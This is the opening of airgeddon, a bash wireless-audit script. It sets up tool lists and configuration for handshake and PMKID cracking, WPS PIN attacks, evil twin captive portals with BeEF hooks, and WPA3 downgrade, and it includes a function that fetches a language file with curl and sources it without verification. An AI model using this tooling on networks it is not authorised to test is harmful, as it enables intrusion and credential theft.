#!/usr/bin/env bash
#Title........: airgeddon.sh
#Description..: This is a multi-use bash script for Linux systems to audit wireless networks.
#Author.......: v1s1t0r
#Version......: 12.00
#Usage........: bash airgeddon.sh
#Bash Version.: 4.2 or later

#Global shellcheck disabled warnings
#shellcheck disable=SC2154,SC2034

#Language vars
#Change this line to select another default language. Select one from available values in array
language="ENGLISH"
declare -A lang_association=(
								["en"]="ENGLISH"
								["es"]="SPANISH"
								["fr"]="FRENCH"
								["ca"]="CATALAN"
								["pt"]="PORTUGUESE"
								["ru"]="RUSSIAN"
								["gr"]="GREEK"
								["it"]="ITALIAN"
								["pl"]="POLISH"
								["de"]="GERMAN"
								["tr"]="TURKISH"
								["ar"]="ARABIC"
								["zh"]="CHINESE"
							)

rtl_languages=(
				"ARABIC"
				)

#Tools vars
essential_tools_names=(
						"iw"
						"awk"
						"airmon-ng"
						"airodump-ng"
						"aircrack-ng"
						"xterm"
						"ip"
						"lspci"
						"ps"
					)

optional_tools_names=(
						"wpaclean"
						"crunch"
						"aireplay-ng"
						"mdk4"
						"hashcat"
						"hostapd"
						"dhcpd"
						"nft"
						"ettercap"
						"etterlog"
						"lighttpd"
						"dnsmasq"
						"wash"
						"reaver"
						"bully"
						"pixiewps"
						"bettercap"
						"beef"
						"packetforge-ng"
						"hostapd-wpe"
						"asleap"
						"john"
						"openssl"
						"hcxpcapngtool"
						"hcxdumptool"
						"tshark"
						"tcpdump"
						"besside-ng"
						"hostapd-mana"
						"hcxhash2cap"
						"hcxhashtool"
					)

update_tools=("curl")

declare -A possible_package_names=(
									[${essential_tools_names[0]}]="iw" #iw
									[${essential_tools_names[1]}]="awk / gawk" #awk
									[${essential_tools_names[2]}]="aircrack-ng" #airmon-ng
									[${essential_tools_names[3]}]="aircrack-ng" #airodump-ng
									[${essential_tools_names[4]}]="aircrack-ng" #aircrack-ng
									[${essential_tools_names[5]}]="xterm" #xterm
									[${essential_tools_names[6]}]="iproute2" #ip
									[${essential_tools_names[7]}]="pciutils" #lspci
									[${essential_tools_names[8]}]="procps / procps-ng" #ps
									[${optional_tools_names[0]}]="aircrack-ng" #wpaclean
									[${optional_tools_names[1]}]="crunch" #crunch
									[${optional_tools_names[2]}]="aircrack-ng" #aireplay-ng
									[${optional_tools_names[3]}]="mdk4" #mdk4
									[${optional_tools_names[4]}]="hashcat" #hashcat
									[${optional_tools_names[5]}]="hostapd" #hostapd
									[${optional_tools_names[6]}]="isc-dhcp-server / dhcp-server / dhcp" #dhcpd
									[${optional_tools_names[7]}]="nftables" #nft
									[${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap
									[${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog
									[${optional_tools_names[10]}]="lighttpd" #lighttpd
									[${optional_tools_names[11]}]="dnsmasq" #dnsmasq
									[${optional_tools_names[12]}]="reaver" #wash
									[${optional_tools_names[13]}]="reaver" #reaver
									[${optional_tools_names[14]}]="bully" #bully
									[${optional_tools_names[15]}]="pixiewps" #pixiewps
									[${optional_tools_names[16]}]="bettercap" #bettercap
									[${optional_tools_names[17]}]="beef-xss / beef-project" #beef
									[${optional_tools_names[18]}]="aircrack-ng" #packetforge-ng
									[${optional_tools_names[19]}]="hostapd-wpe" #hostapd-wpe
									[${optional_tools_names[20]}]="asleap" #asleap
									[${optional_tools_names[21]}]="john" #john
									[${optional_tools_names[22]}]="openssl" #openssl
									[${optional_tools_names[23]}]="hcxtools" #hcxpcapngtool
									[${optional_tools_names[24]}]="hcxdumptool" #hcxdumptool
									[${optional_tools_names[25]}]="tshark / wireshark-cli / wireshark" #tshark
									[${optional_tools_names[26]}]="tcpdump" #tcpdump
									[${optional_tools_names[27]}]="aircrack-ng" #besside-ng
									[${optional_tools_names[28]}]="hostapd-mana" #hostapd-mana
									[${optional_tools_names[29]}]="hcxtools" #hcxhash2cap
									[${optional_tools_names[30]}]="hcxtools" #hcxhashtool
									[${update_tools[0]}]="curl" #curl
								)

#More than one alias can be defined separated by spaces at value
declare -A possible_alias_names=(
									["beef"]="beef-xss beef-server"
								)

#General vars
airgeddon_version="12.0"
language_strings_expected_version="12.0-1"
standardhandshake_filename="handshake-01.cap"
standardpmkid_filename="pmkid_hash.txt"
standardpmkidcap_filename="pmkid.cap"
timeout_capture_handshake_decloak="20"
timeout_capture_pmkid="45"
timeout_capture_identities="45"
timeout_certificates_analysis="45"
timeout_wpa3_downgrade="25"
osversionfile_dir="/etc/"
plugins_dir="plugins/"
ag_orchestrator_file="ag.orchestrator.txt"
system_tmpdir="/tmp/"
minimum_bash_version_required="4.2"
resume_message=224
abort_question=12
pending_of_translation="[PoT]"
escaped_pending_of_translation="\[PoT\]"
standard_resolution="1024x768"
curl_404_error="404: Not Found"
rc_file_name=".airgeddonrc"
alternative_rc_file_name="airgeddonrc"
language_strings_file="language_strings.sh"
broadcast_mac="FF:FF:FF:FF:FF:FF"
minimum_hcxdumptool_filterap_version="6.0.0"
minimum_hcxdumptool_bpf_version="6.3.0"
minimum_hcxdumptool_frequencies_version="7.0.0"

#5Ghz and 6Ghz vars
ghz="Ghz"
band_24ghz="2.4${ghz}"
band_5ghz="5${ghz}"
band_6ghz="6${ghz}"
valid_channels_24_ghz_regexp="([1-9]|1[0-4])"
valid_channels_24_and_5_ghz_regexp="([1-9]|1[0-4]|3[68]|4[02468]|5[02468]|6[024]|10[02468]|11[02468]|12[02468]|13[2468]|14[0249]|15[13579]|16[15])"
valid_channels_6_ghz_regexp="(1|5|9|1[37]|2[15]|2[9]|3[37]|4[15]|4[9]|5[37]|6[15]|6[9]|7[37]|8[15]|8[9]|9[37]|10[15]|10[9]|11[37]|12[15]|12[9]|13[37]|14[15]|14[9]|15[37]|16[15]|16[9]|17[37]|18[15]|18[9]|19[37]|20[159]|21[37]|22[159]|233)"
valid_channels_24_5_and_6_ghz_regexp="(${valid_channels_24_and_5_ghz_regexp}|${valid_channels_6_ghz_regexp})"
minimum_wash_dualscan_version="1.6.5"

#aircrack vars
aircrack_tmp_simple_name_file="aircrack"
aircrack_pot_tmp="${aircrack_tmp_simple_name_file}.pot"
aircrack_pmkid_version="1.4"

#hashcat vars
hashcat3_version="3.0"
hashcat4_version="4.0.0"
hashcat_hccapx_version="3.40"
hashcat_hcx_conversion_version="6.2.0"
minimum_hashcat_pmkid_version="6.0.0"
hashcat_2500_deprecated_version="6.2.4"
hashcat_handshake_cracking_plugin="2500"
hashcat_pmkid_cracking_plugin="22000"
hashcat_enterprise_cracking_plugin="5500"
hashcat_tmp_simple_name_file="hctmp"
hashcat_tmp_file="${hashcat_tmp_simple_name_file}.hccap"
hashcat_pot_tmp="${hashcat_tmp_simple_name_file}.pot"
hashcat_output_file="${hashcat_tmp_simple_name_file}.out"
hccapx_tool="cap2hccapx"
possible_hccapx_converter_known_locations=(
										"/usr/lib/hashcat-utils/${hccapx_tool}.bin"
									)

#john the ripper vars
jtr_tmp_simple_name_file="jtrtmp"
jtr_pot_tmp="${jtr_tmp_simple_name_file}.pot"
jtr_output_file="${jtr_tmp_simple_name_file}.out"

#WEP vars
wep_data="wepdata"
wepdir="wep/"
wep_attack_file="ag.wepattack.sh"
wep_key_handler="ag.wep_key_handler.sh"
wep_processes_file="wep_processes"
wep_besside_log="ag.besside.log"

#WPA3 vars
aircrack_wpa3_version="1.7"
plugin_x="under_construction_message"
plugin_x_under_construction="under_construction"
plugin_y="under_construction_message"
plugin_y_under_construction="under_construction"
plugin_z="under_construction_message"
plugin_z_under_construction="under_construction"

#Docker vars
docker_based_distro="Kali"
docker_io_dir="/io/"

#WPS vars
minimum_reaver_pixiewps_version="1.5.2"
minimum_reaver_nullpin_version="1.6.1"
minimum_bully_pixiewps_version="1.1"
minimum_bully_verbosity4_version="1.1"
minimum_wash_json_version="1.6.2"
known_pins_dbfile="known_pins.db"
pins_dbfile_checksum="pindb_checksum.txt"
wps_default_generic_pin="12345670"
wps_attack_script_file="ag.wpsattack.sh"
wps_out_file="ag.wpsout.txt"
timeout_secs_per_pin="30"
timeout_secs_per_pixiedust="30"

#Repository and contact vars
repository_hostname="github.com"
github_user="v1s1t0r1sh3r3"
github_repository="airgeddon"
branch="master"
script_filename="airgeddon.sh"
urlgithub="https://${repository_hostname}/${github_user}/${github_repository}"
urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}"
urlscript_pins_dbfile="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${known_pins_dbfile}"
urlscript_pins_dbfile_checksum="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${pins_dbfile_checksum}"
urlscript_language_strings_file="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${language_strings_file}"
urlscript_options_config_file="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${rc_file_name}"
urlgithub_wiki="https://${repository_hostname}/${github_user}/${github_repository}/wiki"
urlmerchandising_shop="https://airgeddon.creator-spring.com/"
mail="v1s1t0r.1s.h3r3@gmail.com"
author="v1s1t0r"
wpa3_online_attack_plugin_repo="https://${repository_hostname}/OscarAkaElvis/airgeddon-plugins"
wpa3_dragon_drain_plugin_repo="https://${repository_hostname}/Janek79ax/dragon-drain-wpa3-airgeddon-plugin"
wpa3_cookie_guzzler_plugin_repo="https://${repository_hostname}/OscarAkaElvis/airgeddon-plugins"

#Dhcpd, Hostapd, Hostapd-wpe, Hostapd-mana and misc Evil Twin vars
loopback_ip="127.0.0.1"
loopback_ipv6="::1/128"
loopback_interface="lo"
routing_tmp_file="ag.iptables_nftables"
dhcpd_file="ag.dhcpd.conf"
dhcpd_pid_file="dhcpd.pid"
dnsmasq_file="ag.dnsmasq.conf"
internet_dns1="8.8.8.8"
internet_dns2="8.8.4.4"
internet_dns3="139.130.4.5"
bettercap_proxy_port="8080"
bettercap_dns_port="5300"
dns_port="53"
dhcp_port="67"
www_port="80"
https_port="443"
minimum_bettercap_advanced_options="1.5.9"
minimum_bettercap_fixed_beef_iptables_issue="1.6.2"
bettercap2_version="2.0"
bettercap2_sslstrip_working_version="2.28"
ettercap_file="ag.ettercap.log"
bettercap_file="ag.bettercap.log"
bettercap_config_file="ag.bettercap.cap"
bettercap_hook_file="ag.bettercap.js"
beef_port="3000"
beef_control_panel_url="http://${loopback_ip}:${beef_port}/ui/panel"
jshookfile="hook.js"
beef_file="ag.beef.conf"
beef_pass="airgeddon"
beef_db="beef.db"
beef_default_cfg_file="config.yaml"
beef_needed_brackets_version="0.4.7.2"
beef_installation_url="https://${repository_hostname}/beefproject/beef/wiki/Installation"
hostapd_file="ag.hostapd.conf"
hostapd_wifi7_version="2.12"
hostapd_wpe_wifi7_version="2.12"
hostapd_wpe_file="ag.hostapd_wpe.conf"
hostapd_wpe_log="ag.hostapd_wpe.log"
hostapd_wpe_default_log="hostapd-wpe.log"
hostapd_mana_file="ag.hostapd_mana.conf"
hostapd_mana_log="ag.hostapd_mana.log"
hostapd_mana_out="ag.hostapd_mana.hccapx"
control_et_file="ag.et_control.sh"
control_enterprise_file="ag.enterprise_control.sh"
enterprisedir="enterprise/"
certsdir="certs/"
certspass="airgeddon"
default_certs_path="/etc/hostapd-wpe/certs/"
default_certs_pass="whatever"
mana_pass="airgeddon"
mana_cap_file="ag.mana.cap"
mana_tmp_file="ag.mana.txt"
webserver_file="ag.lighttpd.conf"
webserver_log="ag.lighttpd.log"
webdir="www/"
indexfile="index.htm"
checkfile="check.htm"
cssfile="portal.css"
jsfile="portal.js"
pixelfile="pixel.png"
attemptsfile="ag.et_attempts.txt"
currentpassfile="ag.et_currentpass.txt"
et_successfile="ag.et_success.txt"
enterprise_successfile="ag.enterprise_success.txt"
et_processesfile="ag.et_processes.txt"
asleap_pot_tmp="ag.asleap_tmp.txt"
channelfile="ag.et_channel.txt"
customportals_php_as_cgi=1
possible_dhcp_leases_files=(
								"/var/lib/dhcp/dhcpd.leases"
								"/var/state/dhcp/dhcpd.leases"
								"/var/lib/dhcpd/dhcpd.leases"
							)
possible_beef_known_locations=(
									"/usr/share/beef/"
									"/usr/share/beef-xss/"
									"/opt/beef/"
									"/opt/beef-project/"
									"/usr/lib/beef/"
									#Custom BeEF location (set=0)
								)

#Connection vars
ips_to_check_internet=(
						"${internet_dns1}"
						"${internet_dns2}"
						"${internet_dns3}"
					)

#Distros vars
known_compatible_distros=(
							"Wifislax"
							"Kali"
							"Parrot"
							"Backbox"
							"BlackArch"
							"Cyborg"
							"Ubuntu"
							"Mint"
							"Debian"
							"SuSE"
							"CentOS"
							"Gentoo"
							"Fedora"
							"Red Hat"
							"Arch"
							"OpenMandriva"
							"Pentoo"
							"Manjaro"
							"CachyOS"
							"Puppy"
						)

known_incompatible_distros=(
							"Microsoft"
						)

known_arm_compatible_distros=(
								"Raspbian"
								"Raspberry Pi OS"
								"Parrot arm"
								"Kali arm"
							)

#Sponsors
sponsors=(
		"Raleigh2016"
		"hmmlopl"
		"codythebeast89"
		"Kaliscandinavia"
		"Furrycoder"
		"Jonathon Coy"
		"Matthew Ebert"
		"weedhed4lf"
		)

#Hint vars
declare main_hints=(128 134 163 437 438 442 445 516 590 626 660 697 699 712 739)
declare dos_hints=(129 131 133 697 699)
declare handshake_pmkid_decloaking_hints=(127 130 132 664 665 697 699 728 729)
declare dos_handshake_decloak_hints=(142 697 699 733 739)
declare dos_info_gathering_enterprise_hints=(697 699 733 739)
declare decrypt_hints=(171 179 208 244 163 697 699)
declare personal_decrypt_hints=(171 178 179 208 244 163 697 699)
declare enterprise_decrypt_hints=(171 179 208 244 163 610 697 699)
declare select_interface_hints=(246 697 699 712 739)
declare language_hints=(250 438)
declare option_hints=(445 250 448 477 591 626 697 699)
declare evil_twin_hints=(254 258 264 269 309 328 400 509 697 699 739)
declare evil_twin_dos_hints=(267 268 509 697 699)
declare wpa3_dos_hints=(267 268 697 699 777)
declare beef_hints=(408)
declare wps_hints=(342 343 344 356 369 390 490 625 697 699 739)
declare wep_hints=(431 429 428 432 433 697 699 739)
declare enterprise_hints=(112 332 483 518 629 301 697 699 739 742)
declare wpa3_hints=(128 134 437 438 442 445 516 590 626 660 697 699 764)

#Charset vars
crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz"
crunch_uppercasecharset="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
crunch_numbercharset="0123456789"
crunch_symbolcharset="!#$%/=?{}[]-*:;"
hashcat_charsets=("?l" "?u" "?d" "?s")

#Tmux vars
airgeddon_uid=""
session_name="airgeddon"
tmux_main_window="airgeddon-Main"
no_hardcore_exit=0

#Check coherence between script and language_strings file
function check_language_strings() {

	debug_print

	if [ -f "${scriptfolder}${language_strings_file}" ]; then

		language_file_found=1
		language_file_mismatch=0
		#shellcheck source=./language_strings.sh
		source "${scriptfolder}${language_strings_file}"
		set_language_strings_version
		if [ "${language_strings_version}" != "${language_strings_expected_version}" ]; then
			language_file_mismatch=1
		fi
	else
		language_file_found=0
	fi

	if [[ "${language_file_found}" -eq 0 ]] || [[ "${language_file_mismatch}" -eq 1 ]]; then

		language_strings_handling_messages

		generate_dynamic_line "airgeddon" "title"
		if [ "${language_file_found}" -eq 0 ]; then
			echo_red "${language_strings_no_file[${language}]}"
			if [ "${airgeddon_version}" = "6.1" ]; then
				echo
				echo_yellow "${language_strings_first_time[${language}]}"
			fi
		elif [ "${language_file_mismatch}" -eq 1 ]; then
			echo_red "${language_strings_file_mismatch[${language}]}"
		fi

		echo
		echo_blue "${language_strings_try_to_download[${language}]}"
		read -p "${language_strings_key_to_continue[${language}]}" -r

		if check_repository_access; then

			if download_language_strings_file; then
				echo
				echo_yellow "${language_strings_successfully_downloaded[${language}]}"
				read -p "${language_strings_key_to_continue[${language}]}" -r
				clear
				return 0
			else
				echo
				echo_red "${language_strings_failed_downloading[${language}]}"
			fi
		else
			echo
			echo_red "${language_strings_failed_downloading[${language}]}"
		fi

		echo
		echo_blue "${language_strings_exiting[${language}]}"
		echo
		hardcore_exit
	fi
}

#Download the language strings file
function download_language_strings_file() {

	debug_print

	local lang_file_downloaded=0
	remote_language_strings_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_language_strings_file} 2> /dev/null)

	if [[ -n "${remote_language_strings_file}" ]] && [[ "${remote_language_strings_file}" != "${curl_404_error}" ]]; then
		lang_file_downloaded=1
	else
		http_proxy_detect
		if [ "${http_proxy_set}" -eq 1 ]; then

			remote_language_strings_file=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_language_strings_file} 2> /dev/null)
			if [[ -n "${remote_language_strings_file}" ]] && [[ "${remote_language_strings_file}" != "${curl_404_error}" ]]; then
				lang_file_downloaded=1
			fi
		fi
	fi

	if [ "${lang_file_downloaded}" -eq 1 ]; then
		echo "${remote_language_strings_file}" > "${scriptfolder}${language_strings_file}"
		chmod +x "${scriptfolder}${language_strings_file}" > /dev/null 2>&1
		#shellcheck source=./language_strings.sh
		source "${scriptfolder}${language_strings_file}"
		return 0
	else
		return 1
	fi
}

#Set messages for language_strings handling
function language_strings_handling_messages() {

	declare -gA language_strings_no_file
	language_strings_no_file["ENGLISH"]="Error. Language strings file not found"
	language_strings_no_file["SPANISH"]="Error. No se ha encontrado el fichero de traducciones"
	language_strings_no_file["FRENCH"]="Erreur. Fichier contenant les traductions absent"
	language_strings_no_file["CATALAN"]="Error. No s'ha trobat el fitxer de traduccions"
	language_strings_no_file["PORTUGUESE"]="Erro. O arquivo de tradução não foi encontrado"
	language_strings_no_file["RUSSIAN"]="Ошибка. Не найден языковой файл"
	language_strings_no_file["GREEK"]="Σφάλμα. Το αρχείο γλωσσών δεν βρέθηκε"
	language_strings_no_file["ITALIAN"]="Errore. Non si trova il file delle traduzioni"
	language_strings_no_file["POLISH"]="Błąd. Nie znaleziono pliku tłumaczenia"
	language_strings_no_file["GERMAN"]="Fehler. Die Übersetzungsdatei wurde nicht gefunden"
	language_strings_no_file["TURKISH"]="Hata. Çeviri dosyası bulunamadı"
	language_strings_no_file["ARABIC"]="خطأ. ملف اللغة غير موجود"
	language_strings_no_file["CHINESE"]="错误。未找到语言支持文件"

	declare -gA language_strings_file_mismatch
	language_strings_file_mismatch["ENGLISH"]="Error. The language strings file found mismatches expected version"
	language_strings_file_mismatch["SPANISH"]="Error. El fichero de traducciones encontrado no es la versión esperada"
	language_strings_file_mismatch["FRENCH"]="Erreur. Les traductions trouvées ne sont pas celles attendues"
	language_strings_file_mismatch["CATALAN"]="Error. El fitxer de traduccions trobat no és la versió esperada"
	language_strings_file_mismatch["PORTUGUESE"]="Erro. O a versão do arquivos de tradução encontrado é a incompatível"
	language_strings_file_mismatch["RUSSIAN"]="Ошибка. Языковой файл не соответствует ожидаемой версии"
	language_strings_file_mismatch["GREEK"]="Σφάλμα. Το αρχείο γλωσσών που έχει βρεθεί δεν αντιστοιχεί με την προαπαιτούμενη έκδοση"
	language_strings_file_mismatch["ITALIAN"]="Errore. Il file delle traduzioni trovato non è la versione prevista"
	language_strings_file_mismatch["POLISH"]="Błąd. Znaleziony plik tłumaczenia nie jest oczekiwaną wersją"
	language_strings_file_mismatch["GERMAN"]="Fehler. Die gefundene Übersetzungsdatei ist nicht die erwartete Version"
	language_strings_file_mismatch["TURKISH"]="Hata. Bulunan çeviri dosyası beklenen sürüm değil"
	language_strings_file_mismatch["ARABIC"]="خطأ. ملف اللغة غيرمتطابق مع الإصدار المتوقع"
	language_strings_file_mismatch["CHINESE"]="错误。发现语言支持文件与预期版本不匹配"

	declare -gA language_strings_try_to_download
	language_strings_try_to_download["ENGLISH"]="airgeddon will try to download the language strings file..."
	language_strings_try_to_download["SPANISH"]="airgeddon intentará descargar el fichero de traducciones..."
	language_strings_try_to_download["FRENCH"]="airgeddon va essayer de télécharger les fichiers de traductions..."
	language_strings_try_to_download["CATALAN"]="airgeddon intentarà descarregar el fitxer de traduccions..."
	language_strings_try_to_download["PORTUGUESE"]="O airgeddon tentará baixar o arquivo de tradução..."
	language_strings_try_to_download["RUSSIAN"]="airgeddon попытается загрузить языковой файл..."
	language_strings_try_to_download["GREEK"]="Το airgeddon θα προσπαθήσει να κατεβάσει το αρχείο γλωσσών..."
	language_strings_try_to_download["ITALIAN"]="airgeddon cercherá di scaricare il file delle traduzioni..."
	language_strings_try_to_download["POLISH"]="airgeddon spróbuje pobrać plik tłumaczeń..."
	language_strings_try_to_download["GERMAN"]="airgeddon wird versuchen, die Übersetzungsdatei herunterzuladen..."
	language_strings_try_to_download["TURKISH"]="airgeddon çeviri dosyasını indirmeye çalışacak..."
	language_strings_try_to_download["ARABIC"]="سيحاول airgeddon تنزيل ملف سلاسل اللغة ..."
	language_strings_try_to_download["CHINESE"]="airgeddon 将尝试下载语言支持文件..."

	declare -gA language_strings_successfully_downloaded
	language_strings_successfully_downloaded["ENGLISH"]="Language strings file was successfully downloaded"
	language_strings_successfully_downloaded["SPANISH"]="Se ha descargado con éxito el fichero de traducciones"
	language_strings_successfully_downloaded["FRENCH"]="Les fichiers traduction ont été correctement téléchargés"
	language_strings_successfully_downloaded["CATALAN"]="S'ha descarregat amb èxit el fitxer de traduccions"
	language_strings_successfully_downloaded["PORTUGUESE"]="O arquivo de tradução foi baixado com sucesso"
	language_strings_successfully_downloaded["RUSSIAN"]="Языковой файл был успешно загружен"
	language_strings_successfully_downloaded["GREEK"]="Το αρχείο γλωσσών κατέβηκε με επιτυχία"
	language_strings_successfully_downloaded["ITALIAN"]="Il file delle traduzioni è stato scaricato con successo"
	language_strings_successfully_downloaded["POLISH"]="Plik z tłumaczeniem został pomyślnie pobrany"
	language_strings_successfully_downloaded["GERMAN"]="Die Übersetzungsdatei wurde erfolgreich heruntergeladen"
	language_strings_successfully_downloaded["TURKISH"]="Çeviri dosyası başarıyla indirildi"
	language_strings_successfully_downloaded["ARABIC"]="تم تنزيل ملف سلاسل اللغة بنجاح"
	language_strings_successfully_downloaded["CHINESE"]="语言支持文件已成功下载"

	declare -gA language_strings_failed_downloading
	language_strings_failed_downloading["ENGLISH"]="The language string file can't be downloaded. Check your internet connection or download it manually from ${normal_color}${urlgithub}"
	language_strings_failed_downloading["SPANISH"]="No se ha podido descargar el fichero de traducciones. Comprueba tu conexión a internet o descárgalo manualmente de ${normal_color}${urlgithub}"
	language_strings_failed_downloading["FRENCH"]="Impossible de télécharger le fichier traduction. Vérifiez votre connexion à internet ou téléchargez le fichier manuellement ${normal_color}${urlgithub}"
	language_strings_failed_downloading["CATALAN"]="No s'ha pogut descarregar el fitxer de traduccions. Comprova la connexió a internet o descarrega'l manualment de ${normal_color}${urlgithub}"
	language_strings_failed_downloading["PORTUGUESE"]="Não foi possível baixar o arquivos de tradução. Verifique a sua conexão com a internet ou baixe manualmente em ${normal_color}${urlgithub}"
	language_strings_failed_downloading["RUSSIAN"]="Языковой файл не может быть загружен. Проверьте подключение к Интернету или загрузите его вручную с ${normal_color}${urlgithub}"
	language_strings_failed_downloading["GREEK"]="Το αρχείο γλωσσών δεν μπορεί να κατέβει. Ελέγξτε τη σύνδεση σας με το διαδίκτυο ή κατεβάστε το χειροκίνητα ${normal_color}${urlgithub}"
	language_strings_failed_downloading["ITALIAN"]="Impossibile scaricare il file delle traduzioni. Controlla la tua connessione a internet o scaricalo manualmente ${normal_color}${urlgithub}"
	language_strings_failed_downloading["POLISH"]="Nie można pobrać pliku tłumaczenia. Sprawdź połączenie internetowe lub pobierz go ręcznie z ${normal_color}${urlgithub}"
	language_strings_failed_downloading["GERMAN"]="Die Übersetzungsdatei konnte nicht heruntergeladen werden. Überprüfen Sie Ihre Internetverbindung oder laden Sie sie manuell von ${normal_color}${urlgithub} runter"
	language_strings_failed_downloading["TURKISH"]="Çeviri dosyası indirilemedi. İnternet bağlantınızı kontrol edin veya manuel olarak indirin ${normal_color}${urlgithub}"
	language_strings_failed_downloading["ARABIC"]="${normal_color}${urlgithub}${red_color} لا يمكن تنزيل ملف اللغة. تحقق من اتصالك بالإنترنت أو قم بتنزيله يدويًا من"
	language_strings_failed_downloading["CHINESE"]="无法下载语言支持文件。检查您的互联网连接或从 手动下载 ${normal_color}${urlgithub}"

	declare -gA language_strings_first_time
	language_strings_first_time["ENGLISH"]="If you are seeing this message after an automatic update, don't be scared! It's probably because airgeddon has different file structure since version 6.1. It will be automatically fixed"
	language_strings_first_time["SPANISH"]="Si estás viendo este mensaje tras una actualización automática, ¡no te asustes! probablemente es porque a partir de la versión 6.1 la estructura de ficheros de airgeddon ha cambiado. Se reparará automáticamente"
	language_strings_first_time["FRENCH"]="Si vous voyez ce message après une mise à jour automatique ne vous inquiétez pas! A partir de la version 6.1 la structure de fichier d'airgeddon a changé. L'ajustement se fera automatiquement"
	language_strings_first_time["CATALAN"]="Si estàs veient aquest missatge després d'una actualització automàtica, no t'espantis! probablement és perquè a partir de la versió 6.1 l'estructura de fitxers de airgeddon ha canviat. Es repararà automàticament"
	language_strings_first_time["PORTUGUESE"]="Se você está vendo esta mensagem depois de uma atualização automática, não tenha medo! A partir da versão 6.1 da estrutura de arquivos do airgeddon mudou. Isso será corrigido automaticamente"
	language_strings_first_time["RUSSIAN"]="Если вы видите это сообщение после автоматического обновления, не переживайте! Вероятно, это объясняется тем, что, начиная с версии 6.1, airgeddon имеет другую структуру файлов. Проблема будет разрешена автоматически"
	language_strings_first_time["GREEK"]="Εάν βλέπετε αυτό το μήνυμα μετά από κάποια αυτόματη ενημέρωση, μην τρομάξετε! Πιθανόν είναι λόγω της διαφορετικής δομής του airgeddon μετά από την έκδοση 6.1. Θα επιδιορθωθεί αυτόματα"
	language_strings_first_time["ITALIAN"]="Se stai vedendo questo messaggio dopo un aggiornamento automatico, niente panico! probabilmente è perché a partire dalla versione 6.1 é cambiata la struttura dei file di airgeddon. Sarà riparato automaticamente"
	language_strings_first_time["POLISH"]="Jeśli widzisz tę wiadomość po automatycznej aktualizacji, nie obawiaj się! To prawdopodobnie dlatego, że w wersji 6.1 zmieniła się struktura plików airgeddon. Naprawi się automatycznie"
	language_strings_first_time["GERMAN"]="Wenn Sie diese Nachricht nach einem automatischen Update sehen, haben Sie keine Angst! Das liegt vermutlich daran, dass ab Version 6.1 die Dateistruktur von airgeddon geändert wurde. Es wird automatisch repariert"
	language_strings_first_time["TURKISH"]="Otomatik bir güncellemeden sonra bu mesajı görüyorsanız, korkmayın! muhtemelen 6.1 sürümünden itibaren airgeddon dosya yapısı değişmiştir. Otomatik olarak tamir edilecektir"
	language_strings_first_time["ARABIC"]="إذا كنت ترى هذه الرسالة بعد التحديث التلقائي ، فلا تخف! ربما يرجع السبب في ذلك إلى أن airgeddon له بنية ملفات مختلفة منذ الإصدار 6.1. سيتم إصلاحه تلقائيًا "
	language_strings_first_time["CHINESE"]="如果您在自动更新后看到此消息，请不要害怕！这可能是因为 airgeddon 从 6.1 版本开始有不同的文件结构。会自动修复"

	declare -gA language_strings_exiting
	language_strings_exiting["ENGLISH"]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)"
	language_strings_exiting["SPANISH"]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)"
	language_strings_exiting["FRENCH"]="Fermeture du script airgeddon v${airgeddon_version} - A bientôt! :)"
	language_strings_exiting["CATALAN"]="Sortint de airgeddon script v${airgeddon_version} - Ens veiem aviat! :)"
	language_strings_exiting["PORTUGUESE"]="Saindo do script airgeddon v${airgeddon_version} - Até breve! :)"
	language_strings_exiting["RUSSIAN"]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)"
	language_strings_exiting["GREEK"]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)"
	language_strings_exiting["ITALIAN"]="Uscendo dallo script airgeddon v${airgeddon_version} - A presto! :)"
	language_strings_exiting["POLISH"]="Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)"
	language_strings_exiting["GERMAN"]="Sie verlassen airgeddon v${airgeddon_version} - Bis bald! :)"
	language_strings_exiting["TURKISH"]="airgeddon yazılımından çıkış yapılıyor v${airgeddon_version} - Yakında görüşürüz! :)"
	language_strings_exiting["ARABIC"]="الخروج من البرنامج airgeddon v${airgeddon_version}- نراكم قريبًا! :)"
	language_strings_exiting["CHINESE"]="退出 airgeddon 脚本 v${airgeddon_version} - 待会见！ :)"

	declare -gA language_strings_key_to_continue
	language_strings_key_to_continue["ENGLISH"]="Press [Enter] key to continue..."
	language_strings_key_to_continue["SPANISH"]="Pulsa la tecla [Enter] para continuar..."
	language_strings_key_to_continue["FRENCH"]="Pressez [Enter] pour continuer..."
	language_strings_key_to_continue["CATALAN"]="Prem la tecla [Enter] per continuar..."
	language_strings_key_to_continue["PORTUGUESE"]="Pressione a tecla [Enter] para continuar..."
	language_strings_key_to_continue["RUSSIAN"]="Нажмите клавишу [Enter] для продолжения..."
	language_strings_key_to_continue["GREEK"]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..."
	language_strings_key_to_continue["ITALIAN"]="Premere il tasto [Enter] per continuare..."
	language_strings_key_to_continue["POLISH"]="Naciśnij klawisz [Enter] aby kontynuować..."
	language_strings_key_to_continue["GERMAN"]="Drücken Sie die [Enter]-Taste um fortzufahren..."
	language_strings_key_to_continue["TURKISH"]="Devam etmek için [Enter] tuşuna basın..."
	language_strings_key_to_continue["ARABIC"]="اضغط على مفتاح [Enter] للمتابعة ..."
	language_strings_key_to_continue["CHINESE"]="按 [Enter] 键继续..."
}

#Generic toggle option function
function option_toggle() {

	debug_print

	local required_reboot=0
	if [[ -n "${2}" ]] && [[ "${2}" = "required_reboot" ]]; then
		required_reboot=1
	fi

	local option_var_name="${1}"
	local option_var_value="${!1}"

	if "${option_var_value:-true}"; then
		sed -ri "s:(${option_var_name})=(true):\1=false:" "${rc_path}" 2> /dev/null
